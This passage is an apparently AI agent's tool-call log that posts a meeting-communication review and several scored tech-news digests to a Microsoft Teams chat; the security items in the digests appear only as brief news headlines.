1\\\\. **High:** Unclear client-\\nfacing explanation can reduce trust and make the team look unsure. 2\\\\.\\n**High:** No structured meeting recap can create delivery confusion and missed\\nexpectations. 3\\\\. **High:** Weak grammar and incomplete sentences reduce\\nconfidence during estimation, negotiation, and status updates. 4\\\\. **Medium:**\\nRepeated questions increase meeting time and can frustrate clients. 5\\\\.\\n**Medium:** Missing owner/date/action formatting makes follow-up harder. 6\\\\.\\n**Low to medium:** Internal meetings are productive but inefficient when\\nagenda and checklist are absent. **Communication patterns across latest\\ninteractions** Improvements seen: \\\\- Better practical next steps in recent\\ncalls. \\\\- Better access negotiation in the Apr 20 client call: tester access\\nwas accepted when code access was not possible. \\\\- Better risk thinking in the\\nApr 6 My Ayur call around production deployment, rollback, and user migration.\\n\\\\- More consistent action-item capture in Fathom summaries. Still missing: \\\\-\\nMore polished English for client-facing explanations. \\\\- Stronger meeting\\ncontrol: agenda, topic boundaries, recaps. \\\\- Clear reason-before-request\\ncommunication. \\\\- Proactive timeline updates before the client asks why\\nsomething is delayed. \\\\- Consistent business-impact framing before technical\\ndetails. **Suggested improvements** Use this structure for every client or\\nlead meeting: 1\\\\. \u201cToday we need to confirm three things: status, blockers,\\nand next steps.\u201d 2\\\\. For each topic: \u201cCurrent status, issue, decision needed.\u201d\\n3\\\\. Ask one question at a time. 4\\\\. After each answer, say: \u201cSo the decision\\nis __, owner is __, deadline is __.\u201d 5\\\\. End with: \u201cI will send a recap with\\nowners, dates, and risks.\u201d Useful replacement phrases: \\\\- Instead of: \u201cCan you\\ngive access?\u201d Say: \u201cTo estimate accurately, I need tester access to verify the\\ncurrent flow. Code access is not required at this stage.\u201d \\\\- Instead of: \u201cThis\\nis done?\u201d Say: \u201cCan you confirm whether this feature is implemented, tested,\\nand working on staging?\u201d \\\\- Instead of: \u201cWhy delay?\u201d Say: \u201cThe delay is due to\\ntwo risks: app approval and backend compatibility. Our fallback plan is\\nrollback if store approval fails.\u201d **Final recommendation** The tech lead\\nshould focus first on meeting structure and clarity, not only grammar. The\\nbiggest improvement will come from using a fixed meeting format: agenda, one\\nquestion at a time, recap after each topic, and final owner/date/action\\nsummary. Grammar improvement is also important, especially for client-facing\\nestimation and risk communication.\",\n>       \"created_at\": \"2026-06-11T09:43:25.304Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781171005304?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781170929097\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781170929097\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781170929097?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"Hii\",\n>       \"created_at\": \"2026-06-11T09:42:09.097Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781170929097?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781170928939\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781170928939\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781170928939?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": null,\n>       \"created_at\": \"2026-06-11T09:42:08.939Z\",\n>       \"author_name\": \"\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781170928939?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781170928890\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781170928890\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781170928890?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": null,\n>       \"created_at\": \"2026-06-11T09:42:08.89Z\",\n>       \"author_name\": \"\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781170928890?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     }\n>   ]\n> }\n> ```\n>\n> MCP tool call\n>\n> codex_apps.microsoft_teams.send_chat_message\n>\n> ```json\n> {\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"html_content\": \"\nChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 1/10\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier ChatReview events and prior-pass stories were excluded.\n\nMicrosoft advances agentic vulnerability detection into production workflows \u2014 Score: 34/35. Microsoft says its MDASH agentic system now works across Windows, Azure and identity workflows, moving vulnerability discovery and validation closer to production.\nBedrock AgentCore adds Guardrails to agent authorization policies \u2014 Score: 34/35. AgentCore Policy can now invoke Bedrock Guardrails, adding content, privacy and safety checks to authorization decisions for production agents.\nAWS Transform assesses generative-AI model migrations \u2014 Score: 33/35. AWS Transform scans generative-AI codebases and produces plans for migrating workloads from third-party model providers to Amazon Bedrock.\nAmazon Bedrock AgentCore harness reaches general availability \u2014 Score: 33/35. AWS made its managed agent harness generally available, packaging the runtime, tools and orchestration needed to move from an idea to a working agent.\nAWS launches EC2 G7 instances with Blackwell GPUs \u2014 Score: 32/35. New G7 instances use Nvidia RTX PRO 4500 Blackwell GPUs and claim up to 4.6\u00d7 higher AI-inference performance than the prior generation.\nSnyk makes its AI security platform free for open-source maintainers \u2014 Score: 32/35. Qualifying open-source maintainers can use Snyk\u2019s full AI Security Platform free to triage, prioritize and fix real vulnerability reports.\nNvidia Blackwell leads MLPerf Training 6.0 \u2014 Score: 31/35. Nvidia says Blackwell swept MLPerf Training 6.0, a signal for teams comparing large-model training speed, scale and infrastructure efficiency.\nOracle Autonomous AI Database Serverless arrives on AWS \u2014 Score: 30/35. Oracle Autonomous AI Database Serverless is now available through Database@AWS, with automated patching, tuning and scaling on Exadata.\nGitHub Copilot will deprecate Opus 4.6 fast \u2014 Score: 30/35. GitHub will remove Opus 4.6 (fast) from Copilot on June 29; teams using it in chat, agents, edits or completions must choose a supported model.\nKlue OAuth breach exposes Salesforce data across organizations \u2014 Score: 28/35. An OAuth compromise at Klue let Icarus actors steal Salesforce data from multiple organizations, reinforcing third-party token and app risk.\"\n> }\n> ```\n>\n> ```text\n> Action completed.\n> ```\n>\n> ```json\n> {\n>   \"message_id\": \"1781863093721\",\n>   \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863093721\",\n>   \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863093721?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"title\": \"Jenish Dholakiya\",\n>   \"created_at\": \"2026-06-19T09:58:13.721Z\",\n>   \"author_name\": \"Jenish Dholakiya\",\n>   \"content\": \"Jenish Dholakiya said:## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 1/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[Microsoft advances agentic vulnerability detection into production workflows](https://www.microsoft.com/en-us/security/blog/2026/06/17/beyond-the-benchmark-advancing-security-at-ai-speed/)** \u2014 **Score: 34/35.** Microsoft says its MDASH agentic system now works across Windows, Azure and identity workflows, moving vulnerability discovery and validation closer to production.\\n  2. **[Bedrock AgentCore adds Guardrails to agent authorization policies](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-bedrock-agentcore-policy-guardrails-generally-available)** \u2014 **Score: 34/35.** AgentCore Policy can now invoke Bedrock Guardrails, adding content, privacy and safety checks to authorization decisions for production agents.\\n  3. **[AWS Transform assesses generative-AI model migrations](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-transform-model-to-model-assessments)** \u2014 **Score: 33/35.** AWS Transform scans generative-AI codebases and produces plans for migrating workloads from third-party model providers to Amazon Bedrock.\\n  4. **[Amazon Bedrock AgentCore harness reaches general availability](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-bedrock-agentcore-harness-generally-available)** \u2014 **Score: 33/35.** AWS made its managed agent harness generally available, packaging the runtime, tools and orchestration needed to move from an idea to a working agent.\\n  5. **[AWS launches EC2 G7 instances with Blackwell GPUs](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-ec2-g7-generally-available)** \u2014 **Score: 32/35.** New G7 instances use Nvidia RTX PRO 4500 Blackwell GPUs and claim up to 4.6\u00d7 higher AI-inference performance than the prior generation.\\n  6. **[Snyk makes its AI security platform free for open-source maintainers](https://snyk.io/blog/secure-developer-program/)** \u2014 **Score: 32/35.** Qualifying open-source maintainers can use Snyk\u2019s full AI Security Platform free to triage, prioritize and fix real vulnerability reports.\\n  7. **[Nvidia Blackwell leads MLPerf Training 6.0](https://blogs.nvidia.com/blog/blackwell-mlperf-training-6-0/)** \u2014 **Score: 31/35.** Nvidia says Blackwell swept MLPerf Training 6.0, a signal for teams comparing large-model training speed, scale and infrastructure efficiency.\\n  8. **[Oracle Autonomous AI Database Serverless arrives on AWS](https://aws.amazon.com/about-aws/whats-new/2026/06/oracle-database-aws-autonomous-database-serverless/)** \u2014 **Score: 30/35.** Oracle Autonomous AI Database Serverless is now available through Database@AWS, with automated patching, tuning and scaling on Exadata.\\n  9. **[GitHub Copilot will deprecate Opus 4.6 fast](https://github.blog/changelog/2026-06-18-upcoming-deprecation-of-opus-4-6-fast)** \u2014 **Score: 30/35.** GitHub will remove Opus 4.6 (fast) from Copilot on June 29; teams using it in chat, agents, edits or completions must choose a supported model.\\n  10. **[Klue OAuth breach exposes Salesforce data across organizations](https://www.bleepingcomputer.com/news/security/klue-oauth-breach-linked-to-icarus-salesforce-data-theft-attacks/)** \u2014 **Score: 28/35.** An OAuth compromise at Klue let Icarus actors steal Salesforce data from multiple organizations, reinforcing third-party token and app risk.\\n\\n\",\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"team_id\": null,\n>   \"channel_id\": null,\n>   \"parent_message_id\": null,\n>   \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863093721?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"display_title\": \"Jenish Dholakiya\"\n> }\n> ```\n>\n> MCP tool call\n>\n> codex_apps.microsoft_teams.send_chat_message\n>\n> ```json\n> {\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"html_content\": \"\nChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 2/10\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier ChatReview events and prior-pass stories were excluded.\n\nAWS introduces Continuum for machine-speed security remediation \u2014 Score: 34/35. AWS Continuum uses frontier models to discover, prioritize, validate and remediate software risks within customer-defined guardrails.\nAWS agent toolkit adds safer Secrets Manager handling \u2014 Score: 34/35. AWS\u2019s agent toolkit adds a Secrets Manager safety skill so coding agents can reference secrets without exposing raw values in prompts or code.\nAWS DevOps Agent previews autonomous release management \u2014 Score: 33/35. AWS DevOps Agent can review release readiness and run autonomous release tests before production, expanding agentic CI/CD controls.\nSageMaker adds observability for production inference endpoints \u2014 Score: 33/35. New inference observability surfaces token performance, GPU health, placement and autoscaling signals for production generative-AI endpoints.\nCloudflare scales Security Insights scanning capacity tenfold \u2014 Score: 32/35. Cloudflare raised Security Insights throughput to 120+ scans per second\u2014a 10\u00d7 gain\u2014by tuning Kafka consumers, Postgres queries and APIs.\nAmazon EKS adds customer-routed control-plane egress \u2014 Score: 31/35. EKS customers can route control-plane egress through their own VPC, improving visibility and policy control for webhooks, OIDC and other outbound traffic.\nF5 ships emergency patches for critical NGINX flaws \u2014 Score: 30/35. F5 issued emergency fixes for multiple NGINX flaws, including two critical bugs that could permit remote code execution.\nGitHub Actions supports layered custom runner images \u2014 Score: 29/35. GitHub Actions can now build custom hosted-runner images from existing custom images, simplifying layered image pipelines and maintenance.\nGitHub previews duplicate-issue detection and MCP field support \u2014 Score: 29/35. GitHub is previewing duplicate-issue detection and adding issue-field support to its MCP tooling, reducing maintainer triage work.\nGitHub search now attributes Copilot-authored pull requests \u2014 Score: 29/35. GitHub author searches now include pull requests opened by Copilot\u2019s cloud agent on a user\u2019s behalf, improving attribution and review tracking.\"\n> }\n> ```\n>\n> ```text\n> Action completed.\n> ```\n>\n> ```json\n> {\n>   \"message_id\": \"1781863094471\",\n>   \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863094471\",\n>   \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863094471?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"title\": \"Jenish Dholakiya\",\n>   \"created_at\": \"2026-06-19T09:58:14.471Z\",\n>   \"author_name\": \"Jenish Dholakiya\",\n>   \"content\": \"Jenish Dholakiya said:## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 2/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[AWS introduces Continuum for machine-speed security remediation](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-continuum/)** \u2014 **Score: 34/35.** AWS Continuum uses frontier models to discover, prioritize, validate and remediate software risks within customer-defined guardrails.\\n  2. **[AWS agent toolkit adds safer Secrets Manager handling](https://aws.amazon.com/about-aws/whats-new/2026/06/safe-secrets-handling-in-agent-toolkit-for-aws/)** \u2014 **Score: 34/35.** AWS\u2019s agent toolkit adds a Secrets Manager safety skill so coding agents can reference secrets without exposing raw values in prompts or code.\\n  3. **[AWS DevOps Agent previews autonomous release management](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-devops-agent-release-management/)** \u2014 **Score: 33/35.** AWS DevOps Agent can review release readiness and run autonomous release tests before production, expanding agentic CI/CD controls.\\n  4. **[SageMaker adds observability for production inference endpoints](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-sagemaker-ai-inference/)** \u2014 **Score: 33/35.** New inference observability surfaces token performance, GPU health, placement and autoscaling signals for production generative-AI endpoints.\\n  5. **[Cloudflare scales Security Insights scanning capacity tenfold](https://blog.cloudflare.com/scaling-security-scans/)** \u2014 **Score: 32/35.** Cloudflare raised Security Insights throughput to 120+ scans per second\u2014a 10\u00d7 gain\u2014by tuning Kafka consumers, Postgres queries and APIs.\\n  6. **[Amazon EKS adds customer-routed control-plane egress](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-eks-customer-routed-control-plane-egress)** \u2014 **Score: 31/35.** EKS customers can route control-plane egress through their own VPC, improving visibility and policy control for webhooks, OIDC and other outbound traffic.\\n  7. **[F5 ships emergency patches for critical NGINX flaws](https://www.bleepingcomputer.com/news/security/f5-issues-out-of-band-patches-for-critical-nginx-vulnerabilities/)** \u2014 **Score: 30/35.** F5 issued emergency fixes for multiple NGINX flaws, including two critical bugs that could permit remote code execution.\\n  8. **[GitHub Actions supports layered custom runner images](https://github.blog/changelog/2026-06-18-actions-build-custom-images-from-custom-images)** \u2014 **Score: 29/35.** GitHub Actions can now build custom hosted-runner images from existing custom images, simplifying layered image pipelines and maintenance.\\n  9. **[GitHub previews duplicate-issue detection and MCP field support](https://github.blog/changelog/2026-06-18-duplicate-detection-and-issue-fields-mcp-support-for-github-issues)** \u2014 **Score: 29/35.** GitHub is previewing duplicate-issue detection and adding issue-field support to its MCP tooling, reducing maintainer triage work.\\n  10. **[GitHub search now attributes Copilot-authored pull requests](https://github.blog/changelog/2026-06-18-copilot-authored-pull-requests-now-included-in-author-searches)** \u2014 **Score: 29/35.** GitHub author searches now include pull requests opened by Copilot\u2019s cloud agent on a user\u2019s behalf, improving attribution and review tracking.\\n\\n\",\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"team_id\": null,\n>   \"channel_id\": null,\n>   \"parent_message_id\": null,\n>   \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863094471?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"display_title\": \"Jenish Dholakiya\"\n> }\n> ```\n>\n> MCP tool call\n>\n> codex_apps.microsoft_teams.send_chat_message\n>\n> ```json\n> {\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"html_content\": \"\nChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 3/10\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier ChatReview events and prior-pass stories were excluded.\n\nNvidia Blackwell leads the first AgentPerf infrastructure benchmark \u2014 Score: 33/35. Nvidia Blackwell led the first AgentPerf infrastructure results, giving teams a new benchmark for comparing systems that run tool-using AI agents.\nHPE and Nvidia expand AI Factory for production agents \u2014 Score: 32/35. HPE and Nvidia expanded their AI Factory stack for production agents, combining compute, networking, software and enterprise deployment tooling.\nOpenAI launches a $150 million partner network \u2014 Score: 31/35. OpenAI is investing $150 million in a global partner network to accelerate enterprise AI deployment, integration and transformation.\nBaseten reportedly raises $1.5 billion for AI inference \u2014 Score: 31/35. Inference-platform startup Baseten is reportedly raising $1.5 billion at a $13 billion valuation, underscoring demand for AI-serving infrastructure.\nOVHcloud plans frontier models for European AI sovereignty \u2014 Score: 31/35. OVHcloud plans frontier models intended to make it Europe\u2019s second major LLM player, tying sovereign cloud ambitions to model development.\nFrance brings more sovereign AI infrastructure online \u2014 Score: 30/35. Nvidia says French AI factories, national compute and industrial platforms are moving into production, expanding Europe\u2019s sovereign-AI capacity.\nIndia reaches 2.25 million cloud-native developers \u2014 Score: 29/35. CNCF and SlashData estimate India now has 2.25 million cloud-native developers, alongside rising platform-engineering and hybrid-cloud adoption.\nHSBC expands enterprise AI adoption with Google Cloud \u2014 Score: 28/35. HSBC is expanding its Google Cloud partnership to scale AI use across the bank, another large-enterprise signal for managed cloud AI adoption.\nNear-autonomous GPT-5.4 chemist improves a drug-making reaction \u2014 Score: 28/35. OpenAI and Molecule.one report that a near-autonomous GPT-5.4 chemist improved a difficult medicinal-chemistry reaction.\nOpenAI releases LifeSciBench for real-world research tasks \u2014 Score: 28/35. OpenAI released an expert-reviewed benchmark for testing how AI systems handle real-world life-science research tasks and decisions.\"\n> }\n> ```\n>\n> ```text\n> Action completed.\n> ```\n>\n> ```json\n> {\n>   \"message_id\": \"1781863095391\",\n>   \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863095391\",\n>   \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863095391?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"title\": \"Jenish Dholakiya\",\n>   \"created_at\": \"2026-06-19T09:58:15.391Z\",\n>   \"author_name\": \"Jenish Dholakiya\",\n>   \"content\": \"Jenish Dholakiya said:## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 3/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[Nvidia Blackwell leads the first AgentPerf infrastructure benchmark](https://blogs.nvidia.com/blog/nvidia-blackwell-agentperf-artificial-analysis/)** \u2014 **Score: 33/35.** Nvidia Blackwell led the first AgentPerf infrastructure results, giving teams a new benchmark for comparing systems that run tool-using AI agents.\\n  2. **[HPE and Nvidia expand AI Factory for production agents](https://blogs.nvidia.com/blog/hpe-ai-factory-agentic-enterprise/)** \u2014 **Score: 32/35.** HPE and Nvidia expanded their AI Factory stack for production agents, combining compute, networking, software and enterprise deployment tooling.\\n  3. **[OpenAI launches a $150 million partner network](https://openai.com/index/introducing-openai-partner-network)** \u2014 **Score: 31/35.** OpenAI is investing $150 million in a global partner network to accelerate enterprise AI deployment, integration and transformation.\\n  4. **[Baseten reportedly raises $1.5 billion for AI inference](https://techcrunch.com/2026/06/18/ai-inference-startup-baseten-reportedly-raising-1-5b-months-after-its-last-mega-round/)** \u2014 **Score: 31/35.** Inference-platform startup Baseten is reportedly raising $1.5 billion at a $13 billion valuation, underscoring demand for AI-serving infrastructure.\\n  5. **[OVHcloud plans frontier models for European AI sovereignty](https://news.google.com/rss/articles/CBMiyAFBVV95cUxOSXVzUTFCWkxBeDRRWEItdmFYMGlQQ1BLcTlWRGM5THcxcFFULWQxaFVrOGhabzZqcGVqMWE3V3pwaU9SQzFzVGpJRE0xNm44NnpXcjhSaEFncUZKd2tEYkR6dW56bUR4SjVKaVBZd0Q4akxYdktlbThsOGgtTjBrZGdwRTJybnpMMDRZMVEtRXhIWHVOT21OcEFrM0lya0RmSG1EMWZlMTBIUlFCS2pNeEdWWXVDbllBb19uaTJrOUt1TlF2ajJTbg?oc=5)** \u2014 **Score: 31/35.** OVHcloud plans frontier models intended to make it Europe\u2019s second major LLM player, tying sovereign cloud ambitions to model development.\\n  6. **[France brings more sovereign AI infrastructure online](https://blogs.nvidia.com/blog/france-advances-europes-ai-future/)** \u2014 **Score: 30/35.** Nvidia says French AI factories, national compute and industrial platforms are moving into production, expanding Europe\u2019s sovereign-AI capacity.\\n  7. **[India reaches 2.25 million cloud-native developers](https://www.cncf.io/announcements/2026/06/17/cncf-and-slashdata-report-confirms-india-as-one-of-the-largest-cloud-native-communities-with-2-25-million-developers/)** \u2014 **Score: 29/35.** CNCF and SlashData estimate India now has 2.25 million cloud-native developers, alongside rising platform-engineering and hybrid-cloud adoption.\\n  8. **[HSBC expands enterprise AI adoption with Google Cloud](https://news.google.com/rss/articles/CBMiogFBVV95cUxPZ3NyYncxbWk3WUdISWx2N0ZJNHJ5M0RxallIRVpuQmVPVW9zQUJ0R1dwZXJQTHRSQWs2MXMwMUVvc0tHZlktZEJvclRjVzRzUjZZS3hnek1iZUtGcU4wVlEwSkZ2RTY0ZHhzRUhxaGVuR3JzUFE1MUFSMWo3VGVLMzcyM1EzUHNCWGNsRk9xbmlMZ19UWFdfRmdJdURxU0IxSnc?oc=5)** \u2014 **Score: 28/35.** HSBC is expanding its Google Cloud partnership to scale AI use across the bank, another large-enterprise signal for managed cloud AI adoption.\\n  9. **[Near-autonomous GPT-5.4 chemist improves a drug-making reaction](https://openai.com/index/ai-chemist-improves-reaction)** \u2014 **Score: 28/35.** OpenAI and Molecule.one report that a near-autonomous GPT-5.4 chemist improved a difficult medicinal-chemistry reaction.\\n  10. **[OpenAI releases LifeSciBench for real-world research tasks](https://openai.com/index/introducing-life-sci-bench)** \u2014 **Score: 28/35.** OpenAI released an expert-reviewed benchmark for testing how AI systems handle real-world life-science research tasks and decisions.\\n\\n\",\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"team_id\": null,\n>   \"channel_id\": null,\n>   \"parent_message_id\": null,\n>   \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863095391?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"display_title\": \"Jenish Dholakiya\"\n> }\n> ```\n>\n> MCP tool call\n>\n> codex_apps.microsoft_teams.send_chat_message\n>\n> ```json\n> {\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"html_content\": \"\nChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 4/10\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier ChatReview events and prior-pass stories were excluded.\n\nVertex AI SDK flaw enabled cross-tenant remote code execution \u2014 Score: 34/35. A Vertex AI Python SDK flaw enabled bucket-squatting attacks that could hijack uploaded models and achieve cross-tenant remote code execution.\nAI-chip location tracking bill gains industry support \u2014 Score: 33/35. A US bill requiring location tracking for advanced AI chips gained industry support, raising major compliance and supply-chain implications.\nUS regulators give AI data centers a faster path to the grid \u2014 Score: 33/35. FERC ordered faster grid interconnection handling for data centers, but power-supply constraints remain a bottleneck for AI infrastructure growth.\nLiteLLM flaw chain could expose AI gateway servers \u2014 Score: 33/35. A vulnerability chain could let low-privilege users take over LiteLLM gateway servers, putting centralized model credentials and traffic at risk.\nDocker joins Athena software-supply-chain coalition \u2014 Score: 32/35. Docker joined the Athena coalition to coordinate cross-industry software-supply-chain defenses as AI lowers the cost of sophisticated attacks.\nDocker retires Content Trust and Notary v1 \u2014 Score: 31/35. Docker Content Trust and Notary v1 are being retired; teams must migrate image-signing workflows to supported modern alternatives.\nCisco patches critical ISE command-execution flaw \u2014 Score: 30/35. Cisco patched a critical ISE command-execution flaw; identity infrastructure teams should review affected versions and prioritize upgrades.\nAttackers exploit three FortiSandbox vulnerabilities \u2014 Score: 30/35. Attackers are exploiting three FortiSandbox flaws, including one patched only last week, creating urgent exposure for sandbox deployments.\nRansomware operators hide traffic through Microsoft Teams relays \u2014 Score: 30/35. Ransomware operators are abusing Microsoft Teams relay infrastructure to conceal command-and-control traffic inside trusted cloud services.\nTexas breach exposes three million identity documents \u2014 Score: 27/35. Hackers stole about 3 million driver\u2019s licenses and passports from a Texas government system, creating large-scale identity and privacy risk.\"\n> }\n> ```\n>\n> ```text\n> Action completed.\n> ```\n>\n> ```json\n> {\n>   \"message_id\": \"1781863096435\",\n>   \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863096435\",\n>   \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863096435?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"title\": \"Jenish Dholakiya\",\n>   \"created_at\": \"2026-06-19T09:58:16.435Z\",\n>   \"author_name\": \"Jenish Dholakiya\",\n>   \"content\": \"Jenish Dholakiya said:## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 4/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[Vertex AI SDK flaw enabled cross-tenant remote code execution](https://unit42.paloaltonetworks.com/hijacking-vertex-ai-model/)** \u2014 **Score: 34/35.** A Vertex AI Python SDK flaw enabled bucket-squatting attacks that could hijack uploaded models and achieve cross-tenant remote code execution.\\n  2. **[AI-chip location tracking bill gains industry support](https://news.google.com/rss/articles/CBMinwFBVV95cUxOUkJoSzZIYk92LXRFTnJqd1BoZkFTczlMWTZmSnZKRGxLTll4YjZjM2FnYndiMkt0M29mOWhkVXM2eDJuNXlJQ3FzU3FsMEx6TnlGa3lPZWtRR1RLdUVFSDhRcGNUSDNLN1pPeHVVY0xVV2tTNG5zbVFhWko2ZTZIR3UteDhXd0t2N2lheXhxUWgzSFU1MWllXzdPeGFtelE?oc=5)** \u2014 **Score: 33/35.** A US bill requiring location tracking for advanced AI chips gained industry support, raising major compliance and supply-chain implications.\\n  3. **[US regulators give AI data centers a faster path to the grid](https://techcrunch.com/2026/06/18/ai-data-centers-just-got-a-government-mandated-fast-lane-to-the-grid/)** \u2014 **Score: 33/35.** FERC ordered faster grid interconnection handling for data centers, but power-supply constraints remain a bottleneck for AI infrastructure growth.\\n  4. **[LiteLLM flaw chain could expose AI gateway servers](https://news.google.com/rss/articles/CBMigAFBVV95cUxNd3pzN0V5ckJOZkpoYW9YWEEyRkhCZmtzOVZSUWNpR0FOT1ZfdEFyQkE5SGRTNVdseWNsQUJBRHotZmV3NGVESFBwVC15Zlk3WEdLaFAtbGV6X3FaSDdiLUVUQm5scVg2SHN2VmsxZ2UzUnRobjB3TG0wZWZVU2tmMQ?oc=5)** \u2014 **Score: 33/35.** A vulnerability chain could let low-privilege users take over LiteLLM gateway servers, putting centralized model credentials and traffic at risk.\\n  5. **[Docker joins Athena software-supply-chain coalition](https://www.docker.com/blog/docker-joins-the-athena-coalition-a-cross-industry-collaboration-for-supply-chain-security/)** \u2014 **Score: 32/35.** Docker joined the Athena coalition to coordinate cross-industry software-supply-chain defenses as AI lowers the cost of sophisticated attacks.\\n  6. **[Docker retires Content Trust and Notary v1](https://www.docker.com/blog/docker-content-trust-retirement-and-migration-guidance/)** \u2014 **Score: 31/35.** Docker Content Trust and Notary v1 are being retired; teams must migrate image-signing workflows to supported modern 